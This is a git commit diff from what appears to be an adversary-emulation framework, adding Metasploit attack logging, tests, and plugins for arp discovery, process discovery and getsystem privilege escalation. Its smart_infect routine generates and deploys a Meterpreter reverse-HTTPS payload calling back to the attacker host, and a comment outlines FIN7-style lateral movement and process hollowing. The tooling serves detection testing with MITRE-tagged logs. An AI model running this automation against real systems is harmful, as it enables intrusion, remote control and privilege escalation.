Added stand alone metasploit attacks

pull/9/head
Thorsten Sick 3 years ago
parent 1e8ad1331b
commit 1cb76d8cf9

@ -220,6 +220,90 @@ class AttackLog():
}
self.log.append(data)
def start_metasploit_attack(self, source, target, metasploit_command, ttp=None):
""" Mark the start of a Metasploit based attack
@param source: source of the attack. Attack IP
@param target: Target machine of the attack
@param metasploit_command: The command to metasploit
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "start",
"type": "attack",
"sub-type": "metasploit",
"source": source,
"target": target,
"metasploit_command": metasploit_command,
"hunting_tag": __mitre_fix_ttp__(ttp),
}
self.log.append(data)
def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None):
""" Mark the start of a Metasploit based attack
@param source: source of the attack. Attack IP
@param target: Target machine of the attack
@param metasploit_command: The command to metasploit
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "stop",
"type": "attack",
"sub-type": "metasploit",
"source": source,
"target": target,
"metasploit_command": metasploit_command,
"hunting_tag": __mitre_fix_ttp__(ttp),
}
self.log.append(data)
def start_attack_plugin(self, source, target, plugin_name, ttp=None):
""" Mark the start of an attack plugin
@param source: source of the attack. Attack IP
@param target: Target machine of the attack
@param plugin_name: Name of the plugin
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "start",
"type": "attack",
"sub-type": "attack_plugin",
"source": source,
"target": target,
"plugin_name": plugin_name,
"hunting_tag": __mitre_fix_ttp__(ttp),
}
self.log.append(data)
# TODO: Add parameter
# TODO: Add config
# TODO: Add results
def stop_attack_plugin(self, source, target, plugin_name, ttp=None):
""" Mark the end of an attack plugin
@param source: source of the attack. Attack IP
@param target: Target machine of the attack
@param plugin_name: Name of the plugin
@param ttp: TTP of the attack. From plugin
"""
data = {"timestamp": __get_timestamp__(),
"event": "stop",
"type": "attack",
"sub-type": "attack_plugin",
"source": source,
"target": target,
"plugin_name": plugin_name,
"hunting_tag": __mitre_fix_ttp__(ttp),
}
self.log.append(data)
def write_json(self, filename):
""" Write the json data for this log

@ -23,6 +23,7 @@ class Metasploit():
"""
self.password = password
self.username = kwargs.get("username", None)
self.kwargs = kwargs
self.client = None
@ -31,7 +32,7 @@ class Metasploit():
self.attacker = kwargs.get("attacker", None)
if self.attacker:
# we expect a running attacker but without a running msfrcpd
self.start_msfrpcd(kwargs.get("username"))
self.start_msfrpcd()
kwargs["server"] = self.attacker.get_ip()
time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
@ -51,24 +52,32 @@ class Metasploit():
print(res)
return res
def start_msfrpcd(self, username):
def start_msfrpcd(self):
""" Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """
cmd = f"msfrpcd -P {self.password} -U {username} -S"
cmd = f"nohup msfrpcd -P {self.password} -U {self.username} -S &"
self.attacker.remote_run(cmd, disown=True)
# print("msfrpcd started")
# breakpoint()
time.sleep(3)
def get_client(self):
""" Get a local metasploit client connected to the metasploit server """
# print("starting get client")
# print(f"Password: {self.password}")
# print(f"Kwargs: {self.kwargs}")
if self.client:
return self.client
self.client = MsfRpcClient(self.password, **self.kwargs)
# print(f"Got client {self.client}")
return self.client
def wait_for_session(self):
def wait_for_session(self, retries=50):
""" Wait until we get a session """
retries = 50
while self.get_client().sessions.list == {}:
time.sleep(1)
print(f"Waiting to get any session {retries}")
@ -159,6 +168,33 @@ class Metasploit():
return res
def smart_infect(self, target, payload_type="windows/x64/meterpreter/reverse_https", payload_name="babymetal.exe"):
""" Checks if a target already has a meterpreter session open. Will deploy a payload if not """
# TODO Smart_infect should detect the platform of the target and pick the proper parameters based on that
try:
self.start_exploit_stub_for_external_payload(payload=payload_type)
self.wait_for_session(2)
except MetasploitError:
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Create payload {payload_name} replacement{CommandlineColors.ENDC}",
1)
venom = MSFVenom(self.attacker, target, self.attack_logger)
venom.generate_and_deploy(payload=payload_type,
architecture="x64",
platform="windows",
lhost=self.attacker.get_ip(),
format="exe",
outfile=payload_name)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {payload_name} replacement - waiting for meterpreter shell{CommandlineColors.ENDC}",
1)
self.start_exploit_stub_for_external_payload(payload=payload_type)
self.wait_for_session()
##########################################################################
@ -286,3 +322,89 @@ class MSFVenom():
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
1)
################
class MetasploitInstant(Metasploit):
""" A simple metasploit class with pre-defined metasploit attacks and logging. Just add water
The attacks pre-defioned in here are the bread-and-butter attacks, the most basic ones. Those you will need all the time when simulating and adversary.
No need to add specific/specific ones in here. In attack plugins you will find all the features as well. Better code them there.
"""
def __init__(self, password, attack_logger, **kwargs):
"""
:param password: password for the msfrpcd
:param attack_logger: The attack logging
:param kwargs: Relevant ones: uri, port, server, username
"""
super().__init__(password, **kwargs)
self.attack_logger = attack_logger
def ps_process_discovery(self, target):
""" Do a process discovery on the target """
command = "ps -ax"
ttp = "T1057"
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
return res
def arp_network_discovery(self, target):
""" Do a network discovery on the target """
command = "arp"
ttp = "T1016"
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
return res
def getsystem(self, target):
""" Do a network discovery on the target """
command = "getsystem"
ttp = "????" # It uses one out of three different ways to elevate privileges.
# https://docs.rapid7.com/metasploit/meterpreter-getsystem/
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp)
return res

@ -151,10 +151,10 @@ class AttackPlugin(BasePlugin):
self.targets = targets
ips = [tgt.get_ip() for tgt in targets]
self.setup()
self.attack_logger.start_kali_attack(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp())
self.attack_logger.start_attack_plugin(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp())
res = self.run(targets)
self.teardown()
self.attack_logger.stop_kali_attack(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp())
self.attack_logger.stop_attack_plugin(self.attacker_machine_plugin.config.vmname(), ips, self.name, ttp=self.get_ttp())
return res
def get_ttp(self):

@ -332,6 +332,7 @@ class FIN7Plugin(AttackPlugin):
# spawn powershell through cmd
# !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
# paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
# https://www.poweradmin.com/paexec/
# => Lateral move to itadmin
# hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/
# svchost starts data exchange

@ -0,0 +1,43 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin
from app.metasploit import MetasploitInstant
class MetasploitArpPlugin(AttackPlugin):
# Boilerplate
name = "metasploit_arp"
description = "Network discovery via metasploit using arp"
ttp = "T1016"
references = ["https://attack.mitre.org/techniques/T1016/"]
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
def __init__(self):
super().__init__()
self.plugin_path = __file__
def run(self, targets):
""" Run the command
@param targets: A list of targets, ip addresses will do
"""
res = ""
payload_type = "windows/x64/meterpreter/reverse_https"
payload_name = "babymetal.exe"
target = self.targets[0]
metasploit = MetasploitInstant(self.metasploit_password,
attack_logger=self.attack_logger,
attacker=self.attacker_machine_plugin,
username=self.metasploit_user)
metasploit.smart_infect(target, payload_type, payload_name, )
metasploit.arp_network_discovery(target)
return res

@ -0,0 +1,43 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin
from app.metasploit import MetasploitInstant
class MetasploitGetsystemPlugin(AttackPlugin):
# Boilerplate
name = "metasploit_getsystem"
description = "Privilege elevation via metasploit getsystem"
ttp = "????"
references = ["https://docs.rapid7.com/metasploit/meterpreter-getsystem/"]
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
def __init__(self):
super().__init__()
self.plugin_path = __file__
def run(self, targets):
""" Run the command
@param targets: A list of targets, ip addresses will do
"""
res = ""
payload_type = "windows/x64/meterpreter/reverse_https"
payload_name = "babymetal.exe"
target = self.targets[0]
metasploit = MetasploitInstant(self.metasploit_password,
attack_logger=self.attack_logger,
attacker=self.attacker_machine_plugin,
username=self.metasploit_user)
metasploit.smart_infect(target, payload_type, payload_name, )
metasploit.getsystem(target)
return res

@ -0,0 +1,43 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin
from app.metasploit import MetasploitInstant
class MetasploitPsPlugin(AttackPlugin):
# Boilerplate
name = "metasploit_ps"
description = "Process discovery via metasploit"
ttp = "T1057"
references = ["https://attack.mitre.org/techniques/T1057/"]
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
def __init__(self):
super().__init__()
self.plugin_path = __file__
def run(self, targets):
""" Run the command
@param targets: A list of targets, ip addresses will do
"""
res = ""
payload_type = "windows/x64/meterpreter/reverse_https"
payload_name = "babymetal.exe"
target = self.targets[0]
metasploit = MetasploitInstant(self.metasploit_password,
attack_logger=self.attack_logger,
attacker=self.attacker_machine_plugin,
username=self.metasploit_user)
metasploit.smart_infect(target, payload_type, payload_name, )
metasploit.ps_process_discovery(target)
return res

@ -119,3 +119,87 @@ class TestMachineConfig(unittest.TestCase):
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["kali_name"], attack_name)
self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp)
def test_metasploit_attack_start(self):
""" Starting a metasploit attack """
al = AttackLog()
source = "asource"
target = "a target"
ttp = "1234"
attack_name = "a name"
al.start_metasploit_attack(source=source,
target=target,
metasploit_command=attack_name,
ttp=ttp,
)
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "metasploit")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["metasploit_command"], attack_name)
self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp)
def test_metasploit_attack_stop(self):
""" Stopping a metasploit attack """
al = AttackLog()
source = "asource"
target = "a target"
ttp = "1234"
attack_name = "a name"
al.stop_metasploit_attack(source=source,
target=target,
metasploit_command=attack_name,
ttp=ttp,
)
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "metasploit")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["metasploit_command"], attack_name)
self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp)
def test_attack_plugin_start(self):
""" Starting a attack plugin """
al = AttackLog()
source = "asource"
target = "a target"
ttp = "1234"
attack_name = "a name"
al.start_attack_plugin(source=source,
target=target,
plugin_name=attack_name,
ttp=ttp,
)
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "attack_plugin")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["plugin_name"], attack_name)
self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp)
def test_attack_plugin_stop(self):
""" Stopping a attack plugin"""
al = AttackLog()
source = "asource"
target = "a target"
ttp = "1234"
attack_name = "a name"
al.stop_attack_plugin(source=source,
target=target,
plugin_name=attack_name,
ttp=ttp,
)
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "attack_plugin")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["plugin_name"], attack_name)
self.assertEqual(data[0]["hunting_tag"], "MITRE_" + ttp)

Loading…
Cancel
Save